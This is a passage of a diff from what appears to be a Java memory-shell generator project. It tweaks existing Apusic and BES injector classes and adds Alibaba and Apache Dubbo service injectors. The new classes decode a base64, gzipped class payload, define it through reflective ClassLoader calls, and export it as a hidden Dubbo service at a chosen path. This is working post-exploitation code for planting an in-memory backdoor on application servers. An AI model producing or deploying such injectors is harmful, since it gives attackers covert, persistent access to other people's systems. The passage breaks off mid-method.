if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -197,30 +199,25 @@ public class ApusicListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -40,7 +42,7 @@ public class ApusicServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -198,30 +200,25 @@ public class ApusicServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class BesFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -105,7 +105,7 @@ public class BesFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -218,30 +218,25 @@ public class BesFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -36,7 +36,7 @@ public class BesListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -35,7 +35,7 @@ public class BesValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -0,0 +1,451 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import com.alibaba.dubbo.common.URL;
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
import com.alibaba.dubbo.common.utils.ClassHelper;
import com.alibaba.dubbo.config.*;
import com.alibaba.dubbo.config.model.ApplicationModel;
import com.alibaba.dubbo.config.model.ProviderModel;
import javassist.ClassPool;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.zip.GZIPInputStream;
public class AlibabaDubboServiceInjector {
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public AlibabaDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + stackTrace(e);
}
ok = true;
System.out.println(msg);
}
public String registerService() throws Exception {
String servicePath = normalizePath(getUrlPattern());
if (servicePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
return resolveServiceAddresses(servicePath);
}
Class<?> serviceInterface = loadClass(getHelperBase64String());
Class<?> serviceImpl = loadClass(getBase64String());
validateServiceTypes(serviceInterface, serviceImpl);
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
return resolveServiceAddresses(servicePath);
}
try {
serviceConfig.export();
return resolveServiceAddresses(servicePath);
} catch (RuntimeException e) {
dynamicServices.remove(servicePath, serviceConfig);
throw e;
}
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, classBytes);
return loadedClass;
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
// Defining the package is a convenience for older class loaders. The class can still load without it.
}
}
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
classPool.makeClass(new ByteArrayInputStream(classBytes));
} catch (Throwable ignored) {
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
}
}
private static byte[] decodeBase64(String value) throws Exception {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
}
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
GZIPInputStream inputStream = null;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try {
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
byte[] buffer = new byte[4096];
int read;
while ((read = inputStream.read(buffer)) > 0) {
outputStream.write(buffer, 0, read);
}
return outputStream.toByteArray();
} finally {
if (inputStream != null) {
inputStream.close();
}
outputStream.close();
}
}
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
if (!serviceInterface.isInterface()) {
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
}
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
}
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
}
}
private Object instantiate(Class<?> serviceImpl) {
try {
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
serviceConfig.setInterface(serviceInterface);
serviceConfig.setRef(serviceImpl);
serviceConfig.setPath(servicePath);
ProviderConfig providerConfig = findProviderConfig();
if (providerConfig != null) {
serviceConfig.setProvider(providerConfig);
if (notEmpty(providerConfig.getVersion())) {
serviceConfig.setVersion(providerConfig.getVersion());
}
}
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
if (!protocolConfigs.isEmpty()) {
serviceConfig.setProtocols(protocolConfigs);
}
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
if (!registryConfigs.isEmpty()) {
serviceConfig.setRegistries(registryConfigs);
}
return serviceConfig;
}
private ServiceConfig<?> findRegisteredService(String servicePath) {
String normalizedPath = normalizePath(servicePath);
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
return serviceConfig;
}
}
return null;
}
private ProviderConfig findProviderConfig() {
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && serviceConfig.getProvider() != null) {
return serviceConfig.getProvider();
}
}
return null;
}
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
if (providerConfig != null && providerConfig.getApplication() != null) {
return providerConfig.getApplication();
}
for (ProviderModel providerModel : providerModels()) {
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
if (serviceConfig.getApplication() != null) {
return serviceConfig.getApplication();
}
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
return serviceConfig.getProvider().getApplication();
}
}
return null;
}
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
addProtocols(protocols, serviceConfig.getProtocols());
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
}
return uniqueProtocols(protocols);
}
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
registries = registries(serviceConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ProviderConfig serviceProvider = serviceConfig.getProvider();
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ApplicationConfig serviceApplication = serviceConfig.getApplication();
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
}
return new ArrayList<RegistryConfig>();
}
private String resolveServiceAddresses(String servicePath) {
String normalizedPath = normalizePath(servicePath);
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
if (serviceConfig == null) {
serviceConfig = findRegisteredService(normalizedPath);
}
if (serviceConfig == null) {
return normalizedPath;
}
List<URL> exportedUrls = serviceConfig.getExportedUrls();
if (exportedUrls != null && !exportedUrls.isEmpty()) {
return formatUrls(exportedUrls);
}
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
}
if (protocols.isEmpty()) {
return normalizedPath;
}
return formatProtocolAddresses(protocols, normalizedPath);
}
private String formatUrls(List<URL> urls) {
StringBuilder builder = new StringBuilder();
for (URL url : urls) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatUrl(url));
}
return builder.toString();
}
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
StringBuilder builder = new StringBuilder();
for (ProtocolConfig protocol : protocols) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatProtocolAddress(protocol, path));
}
return builder.toString();
}
private String formatUrl(URL url) {
String path = normalizePath(url.getPath());
int port = url.getPort();
return port > 0
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
}
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
Integer port = protocol.getPort();
return port != null && port > 0
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
}
private List<ProviderModel> providerModels() {
try {
return ApplicationModel.allProviderModels();
} catch (Throwable ignored) {
return new ArrayList<ProviderModel>();
}
}
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
if (source != null) {
target.addAll(source);
}
}
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
if (protocols != null) {
for (ProtocolConfig protocol : protocols) {
if (protocol != null) {
unique.put(protocolKey(protocol), protocol);
}
}
}
return new ArrayList<ProtocolConfig>(unique.values());
}
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
}
private String protocolKey(ProtocolConfig protocol) {
return String.valueOf(protocol.getName())
+ "|"
+ String.valueOf(protocol.getHost())
+ "|"
+ String.valueOf(protocol.getPort())
+ "|"
+ String.valueOf(protocol.getServer())
+ "|"
+ String.valueOf(protocol.getId());
}
private String normalizePath(String path) {
if (path == null) {
return "";
}
String normalized = path.trim();
while (normalized.startsWith("/")) {
normalized = normalized.substring(1);
}
return normalized;
}
private boolean notEmpty(String value) {
return value != null && !value.isEmpty();
}
private String stackTrace(Throwable throwable) {
StringWriter writer = new StringWriter();
throwable.printStackTrace(new PrintWriter(writer));
return writer.toString();
}
}
@@ -0,0 +1,616 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import javassist.ClassPool;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.config.*;
import org.apache.dubbo.rpc.model.ApplicationModel;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
import java.util.zip.GZIPInputStream;
public class ApacheDubboServiceInjector {
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public ApacheDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + getErrorMessage(e);
}
ok = true;
System.out.println(msg);
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = resolveDubboClassLoader();
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
msg += "[" + classLoader.getClass().getName() + "] ";
return loadedClass;
}
private ClassLoader resolveDubboClassLoader() {
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
if (classLoader != null) {
return classLoader;
}
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
if (classLoader != null) {
return classLoader;
}
classLoader = ClassGenerator.class.getClassLoader();
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
}
private ClassLoader invokeDubboClassLoader(String className) {
try {
Class<?> helperClass = Class.forName(className);
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
} catch (Throwable ignored) {
return null;
}
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
}
}
public String toString() {
return msg;
}
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
try {
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
} catch (NoSuchMethodException e) {
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
}
} catch (Throwable ignored) {
}
insertByteArrayClassPath(className, classLoader, classBytes);
}
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
try {
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
Class<?> classPathClass = Class.forName("javassist.ClassPath");
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
} catch (Throwable ignored) {
}
}
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
}
}
public static byte[] decodeBase64(String str) throws Exception {
return Base64.getDecoder().decode(str);
}
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
byte[] bArr2 = new byte[4096];
int i;
while ((i = gZIPInputStream.read(bArr2)) > 0) {
byteArrayOutputStream.write(bArr2, 0, i);
}
return byteArrayOutputStream.toByteArray();
}
}
public String registerService() throws Exception {
String strNormalizePath = normalizePath(getUrlPattern());
if (strNormalizePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
Class<?> shell = loadClass(getHelperBase64String());
Class<?> shell2 = loadClass(getBase64String());
validateServiceTypes(shell, shell2);
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
return resolveServiceAddresses(strNormalizePath);
}
try {
serviceConfigCreateServiceConfig.export();
return resolveServiceAddresses(strNormalizePath);
} catch (RuntimeException e) {
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
throw e;
}
}
return resolveServiceAddresses(strNormalizePath);
}
private boolean isPathRegisteredInFramework(String str) {
try {
for (Object obj : getRegisteredServices()) {
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
private Collection<?> getRegisteredServices() {
try {
Object configManager = resolveConfigManager();
return toList(invokeNoArgs(configManager, "getServices"));
} catch (Exception e) {
try {
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
return toList(invokeNoArgs(objInvoke3, "getServices"));
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String normalizePath(String str) {
if (str == null) {
return "";
}
String strTrim = str.trim();
while (true) {
String str2 = strTrim;
if (!str2.startsWith("/")) {
return str2;
}
strTrim = str2.substring(1);
}
}
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
if (!cls.isInterface()) {
throw new IllegalArgumentException("not an interface: " + cls.getName());
}
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
}
if (!cls.isAssignableFrom(cls2)) {
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
}
}
private Object instantiate(Class<?> cls) {
try {
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
return declaredConstructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
Object configManager = resolveConfigManager();
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
serviceConfig.setInterface(cls);
serviceConfig.setRef(obj);
serviceConfig.setPath(str);
serviceConfig.setProxy("jdk");
if (providerConfigSanitizeProviderConfig != null) {
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
}
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
if (strResolveConfiguredVersion != null) {
serviceConfig.setVersion(strResolveConfiguredVersion);
}
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
return serviceConfig;
}
private ProviderConfig resolveDefaultProvider(Object obj) {
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
if (providerConfigCastProviderConfig != null) {
return providerConfigCastProviderConfig;
}
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
if (objInvokeNoArgs == null) {
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
}
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
}
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
if (providerConfig == null) {
return null;
}
List registries = providerConfig.getRegistries();
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
return providerConfig;
}
return null;
}
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
if (collection == null) {
return new ArrayList<>();
}
return collection.stream()
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
.collect(Collectors.toList());
}
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
if (!listFilterValidRegistries.isEmpty()) {
return listFilterValidRegistries;
}
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
}
private String resolveConfiguredVersion(Object obj) {
return stringValue(invokeNoArgs(obj, "getVersion"), null);
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
}
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
List<ProtocolConfig> arrayList = new ArrayList<>();
if (collection != null) {
try {
for (Object service : collection) {
try {
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
} catch (Exception e) {
}
}
} catch (Exception e2) {
}
}
try {
